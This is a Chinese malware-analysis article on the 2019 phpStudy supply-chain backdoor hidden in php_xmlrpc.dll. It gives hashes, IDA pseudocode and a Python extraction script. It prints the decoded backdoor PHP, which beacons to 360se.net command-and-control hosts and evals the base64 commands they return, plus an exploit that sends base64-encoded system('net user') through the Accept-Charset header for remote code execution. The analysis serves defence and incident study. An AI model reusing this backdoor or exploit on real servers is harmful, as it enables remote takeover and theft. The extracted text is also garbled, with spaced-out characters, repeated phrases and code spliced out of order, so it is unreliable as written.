搜索

[14631] 2019-09-26_phpStudy后门简要分析

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2019-09-26_phpStudy后门简要分析 p h p S t u d y 后 门 简 要 分 析 漏 洞 盒 子   F r e e B u f   2 0 1 9 - 0 9 - 2 6 问 题 概 要 问 题 概 要 有 问 题 的 版 本 如 下 有 问 题 的 版 本 如 下 p h p S t u d y 2 0 1 8 0 2 1 1 版 本   p h p 5 . 4 . 4 5 与 p h p 5 . 2 . 1 7   e x t 扩 展 文 件 夹 下 的 p h p _ x m l r p c . d l l p h p S t u d y 2 0 1 6 1 1 0 3 版 本   p h p 5 . 4 . 4 5 与 p h p 5 . 2 . 1 7   e x t 扩 展 文 件 夹 下 的 p h p _ x m l r p c . d l l 注 ： 这 两 个 官 网 下 载 的 版 本 里 ， 都 没 有 发 现 p h p 5 . 3 版 本 下 存 在 有 问 题 的 p h p _ x m l r p c . d l l ， 打 开 时 会 提 示 存 在 p d b 路 径 信 息 。 字 符 串 搜 索 无 发 现 来 源 环 境 准 备 环 境 准 备 本 次 使 用 的 是 之 前 下 载 安 装 在 本 地 的 p h p S t u d y 2 0 1 8 0 2 1 1 官 网 版 本 官 网 下 载 地 址 p h p S t u d y   2 0 1 8 版 本 下 载 及 更 新 日 志   -   p h p S t u d y 交 流 社 区 h t t p s : / / w w w . x p . c n / w e n d a / 4 0 6 . h t m l 从 官 网 下 载 环 境 发 现 此 时 已 修 复 ， 当 然 我 几 年 前 本 地 就 已 经 下 载 好 了 2 0 1 6 版 本 ， 唉 ， 发 现 早 就 是 他 人 的 肉 鸡 了 。 这 两 个 官 网 下 载 文 件 ， 已 本 地 检 查 过 对 应 的 组 件 ， 已 经 修 复 了 ， 但 是 h a s h 却 与 页 面 给 的 不 同 ， 保 留 的 下 载 页 面 如 下 ：
本 地 算 下 h a s h 后 进 行 对 比 ， 发 现 2 0 1 8 版 是 不 对 的 ， 但 本 地 解 压 安 装 后 ， 查 对 应 的 组 件 发 现 没 有 问 题 ， 很 奇 怪 。 几 年 前 下 载 的 存 在 问 题 的 2 0 1 6 版 本 h a s h 如 下 ， 与 上 图 官 网 提 供 的 明 显 是 不 同 的 ： 事 件 源 头 事 件 源 头 这 次 事 件 最 早 由 @ 黑 鸟 报 告 ， 链 接 如 下 ： h t t p : / / m p . w e i x i n . q q . c o m / s ? _ _ b i z = M z A x O T M 1 M D Q 1 N A = = & m i d = 2 4 5 1 1 7 7 6 0 0 & i d x = 1 & s n = 5 5 d c 5 1 c 5 c d 6 b e 6 d 6 5 9 4 9 f c a 5 7 7 2 a 8 8 f 1 & c h k s m = 8 c 2 6 f 6 5 9 b b 5 1 7 f 4 f c 9 f f f 4 3 0 0 9 d 5 4 f 4 0 9 b 1 3 8 f d 8 3 8 f 9 0 5 8 9 0 9 3 8 d 9 7 d 7 f 7 1 c d 0 1 6 1 5 3 c b 6 3 8 f 3 2 & m p s h a r e = 1 & s c e n e = 1 & s r c i d = & s h a r e r _ s h a r e t i m e = 1 5 6 9 3 8 9 5 7 4 3 2 6 & s h a r e r _ s h a r e i d = 0 5 0 f e f 7 1 c 2 c 8 c 2 c d 7 e b c 8 d 5 c c c f 6 b 5 5 6 # r d 当 晚 ， C h a m d 5 安 全 团 队 深 夜 发 布 了 文 章 ， 简 要 分 析 了 后 门 的 具 体 来 源 点 。 链 接 如 下 ：
h t t p : / / m p . w e i x i n . q q . c o m / s ? _ _ b i z = M z I z M T c 1 M j E x O Q = = & m i d = 2 2 4 7 4 8 6 0 0 8 & i d x = 1 & s n = 9 9 5 5 9 1 a 7 7 5 7 9 e 4 c b 6 9 3 f 7 0 5 3 6 1 9 6 1 e f a & c h k s m = e 8 9 e 2 2 e 0 d f e 9 a b f 6 5 9 d b 0 8 f d 7 6 f 1 c e 6 9 0 5 e 8 d 7 6 f d 6 e d e d d 5 9 1 a 2 7 c 0 e 3 e 8 0 f 7 7 8 e a a 8 e d b e 6 8 b 9 & m p s h a r e = 1 & s c e n e = 1 & s r c i d = 0 9 2 5 r O v 2 Y G t s D 6 G h 6 Y s m Y X P K & s h a r e r _ s h a r e t i m e = 1 5 6 9 3 8 9 7 7 5 7 8 7 & s h a r e r _ s h a r e i d = 0 5 0 f e f 7 1 c 2 c 8 c 2 c d 7 e b c 8 d 5 c c c f 6 b 5 5 6 # r d 这 里 简 单 分 析 了 自 己 之 前 早 就 已 经 安 装 在 本 地 的 官 网 的 p h p 5 . 4 . 4 5 版 本 下 的 p h p _ x m l r p c . d l l 组 件 ， 本 着 动 手 实 （ 复 ） 践 （ 现 ） 学 （ 工 ） 习 （ 程 ） 的 （ 师 ） 想 法 ， 本 文 就 记 录 一 下 分 析 过 程 。 首 先 是 从 之 前 已 经 下 载 好 的 压 缩 包 里 选 择 2 0 1 8 0 2 1 1 压 缩 包 ， 自 解 压 安 装 后 在 本 地 文 件 夹 里 选 择 p h p 5 . 4 . 4 5 ， 在 e x t 文 件 夹 扩 展 里 找 到 p h p _ x m l r p c . d l l 。 此 时 先 不 急 着 分 析 ， 上 传 下 V T 查 看 下 结 果 。 目 前 只 有 一 家 引 擎 对 该 组 件 进 行 了 标 记 ， 第 一 次 本 地 使 用 I D A 打 开 的 时 候 并 没 有 任 何 关 于 p d b 信 息 的 提 示 ， 只 有 在 官 网 发 布 的 已 编 译 成 二 进 制 文 件 的 d l l 里 ， 打 开 时 才 会 提 示 存 在 p d b 信 息 。 C : p h p - s d k p h p 5 4 d e v v c 9 x 8 6 o b j R e l e a s e _ T S p h p _ x m l r p c . p d b 这 里 给 一 下 该 组 件 的 I O C 信 息 如 下 ： M D 5 ： c 3 3 9 4 8 2 f d 2 b 2 3 3 f b 0 a 5 5 5 b 6 2 9 c 0 e a 5 d 5 S H A - 1 ： 1 1 1 a b c 2 e 7 9 b f 3 9 3 5 7 1 5 2 b 2 9 7 2 1 3 e e 4 3 f 9 3 e f 9 f 8 1 S H A - 2 5 6 ： 8 f 2 8 7 4 e 3 8 e 5 e 2 d 0 a 3 3 6 8 6 9 0 b a d f 7 5 a 6 a f 8 f 8 4 8 d 8 a 9 7 6 a 3 5 7 4 9 9 a 7 c 9 0 5 0 c 7 0 e 0 4 查 一 下 创 建 时 间 ： 2 0 1 5 : 0 9 : 0 2   1 8 : 1 7 : 4 3 + 0 2 : 0 0 ， 可 发 现 后 门 作 者 对 此 时 间 戳 进 行 了 伪 造 ， 因 为 该 后 门 是 直 接 修 改 源 代 码 后 自 行 编 译 生 成 的 d l l ， 但 把 p d b 给 去 掉 了 … … . 很 奇 怪 ， 按 理 可 以 伪 装 一 下 。 使 用 0 1 0 E d i t o r   查 看 此 P E 文 件 ， 发 现 该 文 件 的 C R C 校 验 值 为 0 ， 很 可 疑 。 通 过 对 比 p h p 官 方 发 布 的 二 进 制 文 件 可 以 发 现 是 存 在 C h e c k S u m 值 的 。
按 照 其 余 文 章 的 步 骤 ， 首 先 是 要 确 定 恶 意 代 码 的 位 置 。 I D A 打 开 该 d l l 后 ， 通 过 查 找 字 符 串 列 表 ， 接 着 筛 选 出 e v a l 字 符 （ 注 ： e v a l ( )   函 数 把 字 符 串 按 照   P H P   代 码 来 执 行 ） 就 可 找 到 实 际 后 门 代 码 位 置 。 接 着 按 下 x 交 叉 引 用 ， 可 找 到 具 体 代 码 点 。
按 F 5 生 成 伪 代 码 ， 如 图 s p p r i n t f 函 数 是 p h p 官 方 自 己 封 装 的 函 数 ， s p p r i n t f ( & v 4 2 ,   0 ,   a S E v a l S S ,   v 3 6 ,   a G z u n c o m p r e s s ,   v 4 2 ) ;   / / v 4 2 为 缓 冲 区 等 于 @ e v a l ( g z u n c o m p r e s s ( ‘ , 2 7 h , ’ v 4 2 ’ , 2 7 h , ’ ) ) ;   实 际 是 实 现 字 符 串 拼 接 功 能 通 过 找 e v a l 关 键 词 可 发 现 多 处 存 在 ， 第 一 处 s p p r i n t f ( & v 4 2 ,   0 ,   a S E v a l S S ,   v 3 6 ,   a G z u n c o m p r e s s ,   v 4 2 ) ; 第 二 处 s p p r i n t f ( & v 4 1 ,   0 ,   a E v a l S S ,   a G z u n c o m p r e s s ,   v 4 1 ) ; 恶 意 代 码 存 在 变 量 v 4 1 、 v 4 2 里 ， 在 此 处 往 上 回 溯 该 变 量 ， 发 现 对 该 变 量 进 行 了 处 理 。 其 中 1 0 0 0 D 0 2 8 - 1 0 0 0 D 6 6 C （ 偏 移 D 0 2 8 - D 6 6 C ） 这 段 地 址 的 值 很 可 疑 ， 打 开 0 1 0 E d i t o r 进 行 查 看 下 。 发 现 该 段 内 容 处 于 . d a t a 区 域 。 v 1 1   =   a s c _ 1 0 0 0 D 0 2 8 ;         w h i l e   (   1   )         {             i f   (   * ( _ D W O R D   * ) v 1 1   = =   3 9   )             {                 v 8 [ v 1 0 ]   =   9 2 ;                 v 4 1 [ v 1 0   +   1 ]   =   * v 9 ;                 v 1 0   + =   2 ;                 v 1 1   + =   8 ;             }             e l s e             {                 v 8 [ v 1 0 + + ]   =   * v 9 ;                 v 1 1   + =   4 ;             }             v 9   + =   4 ;             i f   (   ( s i g n e d   i n t ) v 9   > =   ( s i g n e d   i n t ) & u n k _ 1 0 0 0 D 6 6 C   )                 b r e a k ;             v 8   =   v 4 1 ;         }
每 个 值 占 4 个 字 节 ，   为 d w o r d 类 型 。 这 里 的 逻 辑 是 将 该 段 数 据 处 理 成 c h a r 类 型 后 ， 使 用 p h p 中 的 g z u n c o m p r e s s 对 其 解 压 ， 接 着 使 用 e v a l 执 行 该 脚 本 内 容 。 接 着 看 第 二 处 恶 意 代 码 ， s p p r i n t f ( & v 4 2 ,   0 , a S E v a l S S ,   v 3 6 ,   a G z u n c o m p r e s s ,   v 4 2 ) ;   往 上 回 溯 ， 发 现 u n k _ 1 0 0 0 D 6 6 C - u n k _ 1 0 0 0 E 5 C 4 （ 偏 移 D 6 6 C - E 5 C 4 ） 这 段 内 容 是 会 被 处 理 的 ， 之 后 会 赋 给 v 4 2 ， 所 以 这 段 内 容 也 是 需 要 注 意 的 。
提 取 并 解 压 这 两 段 内 容 的 脚 本 如 下 ， 该 脚 本 来 源 于 微 步 在 线 分 析 文 章 ， 很 好 用 ， 不 重 复 造 轮 子 了 。 h t t p : / / m p . w e i x i n . q q . c o m / s ? _ _ b i z = M z I 5 N j A 0 N j I 5 M Q = = & m i d = 2 6 5 0 1 6 5 9 2 0 & i d x = 1 & s n = a c 4 5 9 2 2 b 6 c f 1 d b 0 f 3 d 3 c f 0 a 1 0 8 7 2 b e 0 6 & c h k s m = f 4 4 8 a 9 1 c c 3 3 f 2 0 0 a 3 2 c d b d 0 1 5 3 5 e 2 2 7 a 4 a 8 1 c d 3 c e 8 4 3 9 9 2 e 4 1 0 d 0 e 4 d 5 b 7 7 2 9 1 4 d 1 a c 3 d 6 3 2 4 f e & m p s h a r e = 1 & s c e n e = 1 & s r c i d = & s h a r e r _ s h a r e t i m e = 1 5 6 9 0 8 2 3 3 6 0 7 9 & s h a r e r _ s h a r e i d = 0 5 0 f e f 7 1 c 2 c 8 c 2 c d 7 e b c 8 d 5 c c c f 6 b 5 5 6 # r d #   - * -   c o d i n g : u t f - 8   - * -       #   ! / u s r / b i n / e n v   p y t h o n       i m p o r t   o s ,   s y s ,   s t r i n g ,   s h u t i l ,   r e       i m p o r t   b a s e 6 4       i m p o r t   s t r u c t       i m p o r t   p e f i l e       i m p o r t   c t y p e s       i m p o r t   z l i b       #   i m p o r t   p u t _ f a m i l y _ c 2       d e f   h e x d u m p ( s r c ,   l e n g t h = 1 6 ) :               F I L T E R   =   ' ' . j o i n ( [ ( l e n ( r e p r ( c h r ( x ) ) )   = =   3 )   a n d   c h r ( x )   o r   ' . '   f o r   x   i n   r a n g e ( 2 5 6 ) ] )               l i n e s   =   [ ]               f o r   c   i n   x r a n g e ( 0 ,   l e n ( s r c ) ,   l e n g t h ) :                       c h a r s   =   s r c [ c : c   +   l e n g t h ]                       h e x   =   '   ' . j o i n ( [ " % 0 2 x "   %   o r d ( x )   f o r   x   i n   c h a r s ] )                       p r i n t a b l e   =   ' ' . j o i n ( [ " % s "   %   ( ( o r d ( x )   < =   1 2 7   a n d   F I L T E R [ o r d ( x ) ] )   o r   ' . ' )                                                                 f o r   x   i n   c h a r s ] )                       l i n e s . a p p e n d ( " % 0 4 x     % - * s     % s n "   %   ( c ,   l e n g t h   *   3 ,   h e x ,   p r i n t a b l e ) )               r e t u r n   ' ' . j o i n ( l i n e s )       d e f   d e s c r y p t ( d a t a ) :               t r y :                       #   d a t a   =   b a s e 6 4 . e n c o d e s t r i n g ( d a t a )                       #   p r i n t ( h e x d u m p ( d a t a ) )                       n u m   =   0                       d a t a   =   z l i b . d e c o m p r e s s ( d a t a )                       #   r e t u r n   r e s u l t                       r e t u r n   ( T r u e ,   r e s u l t )               e x c e p t   E x c e p t i o n ,   e :                       p r i n t ( e )                       r e t u r n   ( F a l s e ,   " " )       d e f   G e t S e c t i o n D a t a ( p e ,   S e c t i o n ) :               t r y :                       e p   =   S e c t i o n . V i r t u a l A d d r e s s                       e p _ a v a   =   S e c t i o n . V i r t u a l A d d r e s s   +   p e . O P T I O N A L _ H E A D E R . I m a g e B a s e                       d a t a   =   p e . g e t _ m e m o r y _ m a p p e d _ i m a g e ( ) [ e p : e p   +   S e c t i o n . M i s c _ V i r t u a l S i z e ]                       #   p r i n t ( h e x d u m p ( d a t a ) )                       r e t u r n   d a t a               e x c e p t   E x c e p t i o n ,   e :                       r e t u r n   N o n e       d e f   G e t S e c s i o n s ( P E ) :               t r y :                       f o r   s e c t i o n   i n   P E . s e c t i o n s :                               #   p r i n t ( h e x d u m p ( s e c t i o n . N a m e ) )                               i f   ( s e c t i o n . N a m e . r e p l a c e ( ' x 0 0 ' ,   ' ' )   = =   ' . d a t a ' ) :                                       d a t a   =   G e t S e c t i o n D a t a ( P E ,   s e c t i o n )                                       #   p r i n t ( h e x d u m p ( d a t a ) )                                       r e t u r n   ( T r u e ,   d a t a )                       r e t u r n   ( F a l s e ,   " " )               e x c e p t   E x c e p t i o n ,   e :                       r e t u r n   ( F a l s e ,   " " )       d e f   g e t _ e n c o d e d a t a ( f i l e n a m e ) :               p e   =   p e f i l e . P E ( f i l e n a m e )               ( r e t ,   d a t a )   =   G e t S e c s i o n s ( p e )               i f   r e t :                       f l a g   =   " g z u n c o m p r e s s "                       o f f s e t   =   d a t a . f i n d ( f l a g )                       d a t a   =   d a t a [ o f f s e t   +   0 x 1 0 : o f f s e t   +   0 x 1 0   +   0 x 5 6 7   *   4 ] . r e p l a c e ( " x 0 0 x 0 0 x 0 0 " ,   " " )                       d e c o d e d a t a _ 1   =   z l i b . d e c o m p r e s s ( d a t a [ : 0 x 1 9 1 ] )                       p r i n t ( h e x d u m p ( d a t a [ 0 x 1 9 1 : ] ) )                       d e c o d e d a t a _ 2   =   z l i b . d e c o m p r e s s ( d a t a [ 0 x 1 9 1 : ] )                       w i t h   o p e n ( " d e c o d e _ 1 . t x t " ,   " w " )   a s   h w r i t e :                               h w r i t e . w r i t e ( d e c o d e d a t a _ 1 )                               h w r i t e . c l o s e                       w i t h   o p e n ( " d e c o d e _ 2 . t x t " ,   " w " )   a s   h w r i t e :                               h w r i t e . w r i t e ( d e c o d e d a t a _ 2 )                               h w r i t e . c l o s e       d e f   m a i n ( p a t h ) :               c 2 s   =   [ ]               d o m a i n s   =   [ ]               f i l e _ l i s t   =   o s . l i s t d i r ( p a t h )               f o r   f   i n   f i l e _ l i s t :                       p r i n t   f                       f i l e _ p a t h   =   o s . p a t h . j o i n ( p a t h ,   f )                       g e t _ e n c o d e d a t a ( f i l e _ p a t h )       i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " :               #   o s . g e t c w d ( )               p a t h   =   " p h p 5 . 4 . 4 5 "
运 行 后 会 生 成 两 段 解 压 后 的 数 据 ， 不 过 此 时 的 数 据 已 经 b a s e 6 4 编 码 过 。 b a s e 6 4 解 码 如 下 ： b a s e 解 码 如 下 ：               p a t h   =   " p h p 5 . 4 . 4 5 "               m a i n ( p a t h ) @ i n i _ s e t ( " d i s p l a y _ e r r o r s " , " 0 " ) ; e r r o r _ r e p o r t i n g ( 0 ) ; $ h   =   $ _ S E R V E R [ ' H T T P _ H O S T ' ] ; $ p   =   $ _ S E R V E R [ ' S E R V E R _ P O R T ' ] ; $ f p   =   f s o c k o p e n ( $ h ,   $ p ,   $ e r r n o ,   $ e r r s t r ,   5 ) ; i f   ( ! $ f p )   { }   e l s e   {         $ o u t   =   " G E T   { $ _ S E R V E R [ ' S C R I P T _ N A M E ' ] }   H T T P / 1 . 1 r n " ;         $ o u t   . =   " H o s t :   { $ h } r n " ;         $ o u t   . =   " A c c e p t - E n c o d i n g :   c o m p r e s s , g z i p r n " ;         $ o u t   . =   " C o n n e c t i o n :   C l o s e r n r n " ;         f w r i t e ( $ f p ,   $ o u t ) ;         f c l o s e ( $ f p ) ; } @ i n i _ s e t ( " d i s p l a y _ e r r o r s " , " 0 " ) ; e r r o r _ r e p o r t i n g ( 0 ) ; f u n c t i o n   t c p G e t ( $ s e n d M s g   =   ' ' ,   $ i p   =   ' 3 6 0 s e . n e t ' ,   $ p o r t   =   ' 2 0 1 2 3 ' ) {         $ r e s u l t   =   " " ;     $ h a n d l e   =   s t r e a m _ s o c k e t _ c l i e n t ( " t c p : / / { $ i p } : { $ p o r t } " ,   $ e r r n o ,   $ e r r s t r , 1 0 ) ;     i f (   ! $ h a n d l e   ) {         $ h a n d l e   =   f s o c k o p e n ( $ i p ,   i n t v a l ( $ p o r t ) ,   $ e r r n o ,   $ e r r s t r ,   5 ) ;         i f (   ! $ h a n d l e   ) {                 r e t u r n   " e r r " ;         }     }     f w r i t e ( $ h a n d l e ,   $ s e n d M s g . " n " ) ;         w h i l e ( ! f e o f ( $ h a n d l e ) ) {                 s t r e a m _ s e t _ t i m e o u t ( $ h a n d l e ,   2 ) ;                 $ r e s u l t   . =   f r e a d ( $ h a n d l e ,   1 0 2 4 ) ;                 $ i n f o   =   s t r e a m _ g e t _ m e t a _ d a t a ( $ h a n d l e ) ;                 i f   ( $ i n f o [ ' t i m e d _ o u t ' ] )   {                     b r e a k ;                 }           }     f c l o s e ( $ h a n d l e ) ;     r e t u r n   $ r e s u l t ; } $ d s   =   a r r a y ( " w w w " , " b b s " , " c m s " , " d o w n " , " u p " , " f i l e " , " f t p " ) ; $ p s   =   a r r a y ( " 2 0 1 2 3 " , " 4 0 1 2 5 " , " 8 0 8 0 " , " 8 0 " , " 5 3 " ) ; $ n   =   f a l s e ; d o   {         $ n   =   f a l s e ;         f o r e a c h   ( $ d s   a s   $ d ) {                 $ b   =   f a l s e ;                 f o r e a c h   ( $ p s   a s   $ p ) {                         $ r e s u l t   =   t c p G e t ( $ i , $ d . " . 3 6 0 s e . n e t " , $ p ) ;                         i f   ( $ r e s u l t   ! =   " e r r " ) {                                 $ b   = t r u e ;                                 b r e a k ;                         }                 }                 i f   ( $ b ) b r e a k ;         }         $ i n f o   =   e x p l o d e ( " < ^ > " , $ r e s u l t ) ;
恶 意 代 码 处 于 s u b _ 1 0 0 0 3 1 F 0 函 数 中 ， 在 上 面 发 现 的 两 段 内 容 的 基 础 上 往 上 分 析 ， s p p r i n t f ( & v 4 2 ,   0 ,   a S E v a l S S ,   v 3 6 ,   a G z u n c o m p r e s s ,   v 4 2 ) ; 该 代 码 如 果 要 被 执 行 ， 首 先 i f   (   ! v 1 2   ) 的 条 件 需 要 满 足 ， 接 着 看 v 1 2   =   s t r c m p ( v 3 4 ,   a C o m p r e s s G z i p ) ; 说 明 有 对 该 硬 编 码 的 字 符 串 有 比 较 。 说 明 有 对 该 硬 编 码 的 字 符 串 有 比 较 。 ” c o m p r e s s , g z i p ” ， 再 往 上 是 一 个 ， 再 往 上 是 一 个 e l s e 语 句 ， 查 一 下 语 句 ， 查 一 下 i f 语 句 里 的 内 容 。 这 里 的 判 断 逻 辑 是 如 果 查 找 到 相 应 的 变 量 语 句 里 的 内 容 。 这 里 的 判 断 逻 辑 是 如 果 查 找 到 相 应 的 变 量 后 ， 这 里 是 判 断 是 否 存 在 后 ， 这 里 是 判 断 是 否 存 在 H T T P _ A C C E P T _ E N C O D I N G 字 段 ， 字 段 ， $ _ S E R V E R [ ‘ H T T P _ A C C E P T _ E N C O D I N G ’ ]   为 当 前 请 求 的 为 当 前 请 求 的   A c c e p t - E n c o d i n g :   头 信 息 的 内 容 。 头 信 息 的 内 容 。 例 如 ： 例 如 ： “ g z i p ” 。 如 果 存 在 就 判 断 字 段 值 是 否 是 。 如 果 存 在 就 判 断 字 段 值 是 否 是 g z i p , d e f l a t e ， 如 果 也 存 在 就 判 断 是 否 存 在 ， 如 果 也 存 在 就 判 断 是 否 存 在 H T T P _ A C C E P T _ C H A R S E T 字 段 字 段   $ _ S E R V E R [ ‘ H T T P _ A C C E P T _ C H A R S E T ’ ]   当 前 请 求 的 当 前 请 求 的 A c c e p t - C h a r s e t :   头 信 息 的 内 容 。 例 如 ： 头 信 息 的 内 容 。 例 如 ： “ i s o - 8 8 5 9 - 1 , * , u t f - 8 ” 。 如 果 也 存 在 的 话 就 接 着 取 。 如 果 也 存 在 的 话 就 接 着 取 H T T P _ A C C E P T _ C H A R S E T 字 段 值 ， 对 该 值 进 行 字 段 值 ， 对 该 值 进 行 b a s e 6 4 解 码 ， 调 用 解 码 ， 调 用 z e n d _ e v a l _ s t r i n g ( v 4 0 ,   0 , & b y t e _ 1 0 0 1 2 8 8 4 ,   a 3 ) ; / /   后 门 代 码 执 行 。 后 门 代 码 执 行 。 以 上 是 真 的 情 况 ， 如 果 上 面 的 判 断 结 果 为 假 ， 则 直 接 跳 过 ， 来 到 以 上 是 真 的 情 况 ， 如 果 上 面 的 判 断 结 果 为 假 ， 则 直 接 跳 过 ， 来 到 v 1 2   =   s t r c m p ( v 3 4 ,   a C o m p r e s s G z i p ) ; 对 其 判 断 ， 如 果 字 符 比 较 相 等 就 继 续 执 行 下 面 的 u n k _ 1 0 0 0 D 6 6 C - u n k _ 1 0 0 0 E 5 C 4 （ 偏 移 D 6 6 C - E 5 C 4 ） 这 段 内 容 调 用 s p p r i n t f ( & v 4 2 ,   0 ,   a S E v a l S S ,   v 3 6 ,   a G z u n c o m p r e s s ,   v 4 2 ) ; 注 ： z e n d _ h a s h _ f i n d ( ) 函 数 是 查 找 变 量 ，   h t t p s : / / w w w . k a n c l o u d . c n / f a g e / p h p b o o k / 3 3 6 2 9 7 z e n d _ e v a l _ s t r i n g 会 将 v 4 0 变 量 的 内 容 作 为 p h p 脚 本 执 行 如 果 上 图 中 第 一 个 i f 判 断 的 结 果 为 假 ， 则 直 接 跳 转 到 下 面 执 行 。 原 理 一 致 如 上 面 一 样 ， 同 样 是 对 一 段 硬 编 码 在 . d a t a 的 数 据 进 行 处 理 后 ， 解 压 后 b a s e 6 4 解 码 ， 调 用 z e n d _ e v a l _ s t r i n g 执 行 p h p 脚 本 。 鉴 于 C 2 服 务 器 已 经 失 活 ， 看 不 懂 效 果 ， 但 有 一 个 远 程 代 码 执 行 的 功 能 可 以 演 示 ， 来 源 于 z e n d _ e v a l _ s t r i n g ( v 4 0 ,   0 ,   & b y t e _ 1 0 0 1 2 8 8 4 ,   a 3 ) ; / /   后 门 代 码 执 行 。 本 地 演 示 本 地 演 示 首 先 是 运 行 并 启 动 存 在 问 题 的 版 本         $ i n f o   =   e x p l o d e ( " < ^ > " , $ r e s u l t ) ;         i f   ( c o u n t ( $ i n f o ) = = 4 ) {                 i f   ( s t r p o s ( $ i n f o [ 3 ] , " / * O n e m o r e * / " )   ! = =   f a l s e ) {                         $ i n f o [ 3 ]   =   s t r _ r e p l a c e ( " / * O n e m o r e * / " , " " , $ i n f o [ 3 ] ) ;                         $ n = t r u e ;                 }                 @ e v a l ( b a s e 6 4 _ d e c o d e ( $ i n f o [ 3 ] ) ) ;         } } w h i l e ( $ n ) ;
e x p 如 下 ， 来 源 于 文 末 参 考 文 章 ： s y s t e m ( “ n e t   u s e r ” ) ; 经 b a s e 6 4 编 码 后 为 c 3 l z d G V t K C J u Z X Q g d X N l c i I p O w = = ， 直 接 构 造 该 请 求 ， 需 要 两 个 换 行 ， 不 然 会 一 直 处 于 等 待 的 状 态 ， 没 有 响 应 。 依 据 逻 辑 还 需 要 注 意 的 是 A c c e p t - E n c o d i n g 字 段 值 必 须 为 g z i p , d e f l a t e ， 才 能 去 判 断 是 否 存 在 A c c e p t - C h a r s e t 字 段 ， 接 着 取 该 字 段 的 值 ， b a s e 6 4 解 码 后 执 行 ， 造 成 了 远 程 代 码 执 行 ， 执 行 了 s y s t e m ( “ n e t   u s e r ” ) ; 。 参 考 参 考 h t t p : / / m p . w e i x i n . q q . c o m / s ? _ _ b i z = M j M 5 M T A 2 O D g 0 M A = = & m i d = 2 6 5 0 6 9 7 3 5 2 & i d x = 1 & s n = c d 3 e 5 b f 5 1 0 8 2 a 6 8 1 5 b d a 1 0 e 4 d 4 c 7 6 8 3 f & c h k s m = b e b 1 e 9 4 f 8 9 c 6 6 0 5 9 6 5 7 2 b 8 d d 0 f 9 1 d 6 9 2 6 0 4 0 e a c a 9 4 6 a 0 2 a 2 b 7 e e f a 3 9 3 f f f c 9 3 6 5 f 4 a f a c 2 f 3 1 5 & m p s h a r e = 1 & s c e n e = 1 & s r c i d = & s h a r e r _ s h a r e t i m e = 1 5 6 9 0 7 1 7 5 4 9 9 1 & s h a r e r _ s h a r e i d = 0 5 0 f e f 7 1 c 2 c 8 c 2 c d 7 e b c 8 d 5 c c c f 6 b 5 5 6 # r d h t t p : / / m p . w e i x i n . q q . c o m / s ? _ _ b i z = M z A x O T M 1 M D Q 1 N A = = & m i d = 2 4 5 1 1 7 7 6 0 0 & i d x = 1 & s n = 5 5 d c 5 1 c 5 c d 6 b e 6 d 6 5 9 4 9 f c a 5 7 7 2 a 8 8 f 1 & c h k s m = 8 c 2 6 f 6 5 9 b b 5 1 7 f 4 f c 9 f f f 4 3 0 0 9 d 5 4 f 4 0 9 b 1 3 8 f d 8 3 8 f 9 0 5 8 9 0 9 3 8 d 9 7 d 7 f 7 1 c d 0 1 6 1 5 3 c b 6 3 8 f 3 2 & m p s h a r e = 1 & s c e n e = 1 & s r c i d = & s h a r e r _ s h a r e t i m e = 1 5 6 9 3 8 9 5 7 4 3 2 6 & s h a r e r _ s h a r e i d = 0 5 0 f e f 7 1 c 2 c 8 c 2 c d 7 e b c 8 d 5 c c c f 6 b 5 5 6 # r d h t t p : / / m p . w e i x i n . q q . c o m / s ? _ _ b i z = M z I z M T c 1 M j E x O Q = = & m i d = 2 2 4 7 4 8 6 0 0 8 & i d x = 1 & s n = 9 9 5 5 9 1 a 7 7 5 7 9 e 4 c b 6 9 3 f 7 0 5 3 6 1 9 6 1 e f a & c h k s m = e 8 9 e 2 2 e 0 d f e 9 a b f 6 5 9 d b 0 8 f d 7 6 f 1 c e 6 9 0 5 e 8 d 7 6 f d 6 e d e d d 5 9 1 a 2 7 c 0 e 3 e 8 0 f 7 7 8 e a a 8 e d b e 6 8 b 9 & m p s h a r e = 1 & s c e n e = 1 & s r c i d = 0 9 2 5 r O v 2 Y G t s D 6 G h 6 Y s m Y X P K & s h a r e r _ s h a r e t i m e = 1 5 6 9 3 8 9 7 7 5 7 8 7 & s h a r e r _ s h a r e i d = 0 5 0 f e f 7 1 c 2 c 8 c 2 c d 7 e b c 8 d 5 c c c f 6 b 5 5 6 # r d h t t p : / / m p . w e i x i n . q q . c o m / s ? _ _ b i z = M z I 5 N j A 0 N j I 5 M Q = = & m i d = 2 6 5 0 1 6 5 9 2 0 & i d x = 1 & s n = a c 4 5 9 2 2 b 6 c f 1 d b 0 f 3 d 3 c f 0 a 1 0 8 7 2 b e 0 6 & c h k s m = f 4 4 8 a 9 1 c c 3 3 f 2 0 0 a 3 2 c d b d 0 1 5 3 5 e 2 2 7 a 4 a 8 1 c d 3 c e 8 4 3 9 9 2 e 4 1 0 d 0 e 4 d 5 b 7 7 2 9 1 4 d 1 a c 3 d 6 3 2 4 f e & m p s h a r e = 1 & s c e n e = 1 & s r c i d = & s h a r e r _ s h a r e t i m e = 1 5 6 9 0 8 2 3 3 6 0 7 9 & s h a r e r _ s h a r e i d = 0 5 0 f e f 7 1 c 2 c 8 c 2 c d 7 e b c 8 d 5 c c c f 6 b 5 5 6 # r d h t t p : / / m p . w e i x i n . q q . c o m / s ? _ _ b i z = M z U 4 O T E x N T k 0 O A = = & m i d = 2 2 4 7 4 8 3 8 3 7 & i d x = 1 & s n = 2 a 6 4 5 e a 8 1 2 f 5 7 4 c 8 b b a f a 7 a e d 4 3 4 5 0 b 2 & c h k s m = f d d 3 2 6 f e c a a 4 a f e 8 2 4 7 8 a c c 2 f 7 f 7 5 a 9 0 9 e 0 4 d f f c 8 8 d 5 9 6 4 7 3 c 8 6 6 9 9 9 4 1 d b d 6 0 b d 0 9 d 6 f 0 d 9 c 7 6 & m p s h a r e = 1 & s c e n e = 1 & s r c i d = & s h a r e r _ s h a r e t i m e = 1 5 6 9 4 6 3 4 1 2 2 5 9 & s h a r e r _ s h a r e i d = 0 5 0 f e f 7 1 c 2 c 8 c 2 c d 7 e b c 8 d 5 c c c f 6 b 5 5 6 # r d 启 发 启 发 最 后 有 一 点 感 受 ， 以 后 对 于 从 业 人 员 经 常 使 用 的 工 具 ， 最 好 是 对 其 逆 向 分 析 做 彻 底 的 检 查 ， 避 免 此 类 事 件 发 生 。 * 本 文 作 者 ： 本 文 作 者 ： 漏 洞 盒 子 ， 转 载 请 注 明 来 自 漏 洞 盒 子 ， 转 载 请 注 明 来 自 F r e e B u f . C O M G E T   /   / 1 . 1       H o s t :   1 2 7 . 0 . 0 . 1       